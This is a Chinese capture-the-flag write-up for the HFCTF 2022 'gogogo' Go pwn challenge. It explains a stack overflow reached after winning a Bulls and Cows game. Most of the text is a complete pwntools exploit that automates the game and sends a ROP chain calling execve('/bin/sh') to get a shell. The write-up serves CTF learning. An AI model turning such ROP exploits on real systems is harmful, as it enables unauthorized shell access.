HFCTF(虎符)2022 Pwn gogogo WriteUp


一个golang的题,难点在逆向,需要配合一定的调试才能把流程搞清楚(我一开始没有查Bulls and Cows,于是把整个猜数游戏的规则也逆了一遍,其实百度一下这个游戏的流程,都不需要逆......)。
游戏规则我这里就不多说了,可自行百度,百度百科里也都有。
至于这题的漏洞,可以很容易猜测到是个溢出类的漏洞,于是对其中的读入函数进行交叉引用,就可以发现这里存在一个栈溢出:

.text:0000000000494AF6                 lea     rbx, [rsp+4C0h+var_460]
.text:0000000000494AFB                 mov     rax, qword ptr cs:unk_5514E0
.text:0000000000494B02                 mov     ecx, 800h
.text:0000000000494B07                 mov     rdi, rcx
.text:0000000000494B0A                 call    bufio__ptr_Reader_Read

其中,rbx是地址,rcx是长度,这里的0x800很显然会栈溢出。
顺便提一下,golang是比较安全的,它会先读入一定数据,然后把数据根据size拷贝给对应地址,所以只要size不出什么问题,基本不会存在溢出的。
我们要走到这个漏洞点,就需要先打通前面的Bulls and Cows猜数游戏,在之后给的菜单中选择Exit,然后读入一串rop链,走execve()getshell即可。
我这里对Bulls and Cows猜数游戏写了个自动化脚本,没有什么优化,成功率不是很高,但是写起来比较容易,不需要动什么脑子。
我的思路也很傻逼,就先读入几组A A A B形式,把是哪四个数字给先确定下来,比如先猜0 0 0 1,根据返回信息,就有如下的对应关系:

0A0B  没有0/1
0A1B  有1
0A2B  有0&1
1A0B  有1
1A1B  有0
1A2B  有0&1
2A1B  有0&1

然后对每一个数字挨个爆破它的位置,显然,在还有n个位置没确定的情况下,最多爆破n-1次即可确定这个数的位置。
用我这种傻逼的思路,最多需要5 + 3 + 2 + 1 + 1 = 12次机会才能成功,最少需要2 + 1 + 1 + 1 + 1 = 6次机会,而这题给了7次尝试机会,所以成功率并不是很高,但是跑个五分钟左右还是能打通的。
附件下载地址

from pwn import *

context(os = "linux", arch = "amd64", log_level = "debug")
io = process('./pwn')
# io = remote("120.25.148.180", 29561)
elf = ELF('./pwn')

def judge_cnt(k):
	if k == 7 :
		return 1
	return 0

if __name__ == '__main__':
	io.sendline(str(0x54749110))
	# gdb.attach(io, 'b *0x491ea1')
	while 1 :
		cnt = 0
		num_list = []
		io.recvuntil("GUESS\n")
		while 1 :
			x = 2*cnt
			y = 2*cnt+1
			io.sendline(F"{x} {x} {x} {y}")
			sleep(0.1)
			cnt = cnt + 1
			res = io.recvline(keepends = False)
			if res == b"0A0B" :
				pass
			elif res == b"0A1B" :
				num_list.append(y)
			elif res == b"0A2B" :
				num_list.append(x)
				num_list.append(y)
			elif res == b"1A0B" :
				num_list.append(y)
			elif res == b"1A1B" :
				num_list.append(x)
			elif res == b"1A2B" :
				num_list.append(x)
				num_list.append(y)
			elif res == b"2A1B" :
				num_list.append(x)
				num_list.append(y)
			if len(num_list) == 4 :
				break
		
		info(str(num_list[0]))
		info(str(num_list[1]))
		info(str(num_list[2]))
		info(str(num_list[3]))
		
		idx = -1
		pos = [-1, -1, -1, -1]
		while 1 :
			idx = idx + 1
			if idx == 4 :
				break
			x = num_list[idx]
			times = 0
			if times == (3 - idx) :
				for i in range(0, 4):
					if pos[i] == -1 :
						pos[i] = idx
						break
				continue
			if pos[0] == -1 :
				io.sendline(F"{x} -1 -1 -1")
				sleep(0.1)
				times = times + 1
				cnt = cnt + 1
				if judge_cnt(cnt) :
					break
				res = io.recvline(keepends = False)
				if res == b"1A0B" :
					pos[0] = idx
					continue
			if times == (3 - idx) :
				for i in range(1, 4):
					if pos[i] == -1 :
						pos[i] = idx
						break
				continue
			if pos[1] == -1 :
				io.sendline(F"-1 {x} -1 -1")
				sleep(0.1)
				times = times + 1
				cnt = cnt + 1
				if judge_cnt(cnt) :
					break
				res = io.recvline(keepends = False)
				if res == b"1A0B" :
					pos[1] = idx
					continue
			if times == (3 - idx) :
				for i in range(2, 4):
					if pos[i] == -1 :
						pos[i] = idx
						break
				continue
			if pos[2] == -1 :
				io.sendline(F"-1 -1 {x} -1")
				sleep(0.1)
				times = times + 1
				cnt = cnt + 1
				if judge_cnt(cnt) :
					break
				res = io.recvline(keepends = False)
				if res == b"1A0B" :
					pos[2] = idx
					continue
			if times == (3 - idx) :
				for i in range(3, 4):
					if pos[i] == -1 :
						pos[i] = idx
						break
		res = io.recv(timeout = 0.5)
		if b"TRY AGAIN?" in res :
			# pause()
			io.sendline(b'Y')
			continue
		io.sendline(F"{num_list[pos[0]]} {num_list[pos[1]]} {num_list[pos[2]]} {num_list[pos[3]]}")
		# WIN
		res = io.recvline()
		if b"WIN" in res :
			success("Win!")
		else :
			info("Wrong?")
		# pause()
		break

	io.sendlineafter("EXIT?\n", b'E')
	io.sendlineafter("(4) EXIT\n", b'4')

	# gdb.attach(io, 'b *0x494B0F')

	pop_rdx_ret = 0x48546c
	pop_rax_ret = 0x405b78
	pop_rsi_ret = 0x41c41c
	syscall_ret = 0x45c849
	pop_rcx_ret = 0x44dbe3
	mov_val_rax_rcx_ret = 0x42b353 # mov qword ptr [rax], rcx; ret;
	xchg_rax_r9_ret = 0x45b367
	mov_rdi_r9 = 0x410d24 # mov rdi, r9; mov rbp, qword ptr [rsp + 0x10]; add rsp, 0x18; ret;

	# gdb.attach(io, 'b *0x405b78')

	payload = b'a'*0x460
	payload += p64(pop_rax_ret)
	payload += p64(elf.bss())
	payload += p64(pop_rcx_ret)
	payload += p64(0x68732f6e69622f)
	payload += p64(mov_val_rax_rcx_ret)
	payload += p64(xchg_rax_r9_ret)
	payload += p64(mov_rdi_r9)
	payload += p64(0)*3
	payload += p64(pop_rax_ret)
	payload += p64(0x3b)
	payload += p64(pop_rdx_ret)
	payload += p64(0)
	payload += p64(pop_rsi_ret)
	payload += p64(0)
	payload += p64(syscall_ret)

	io.sendlineafter("SURE?\n", payload)
	io.interactive()


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM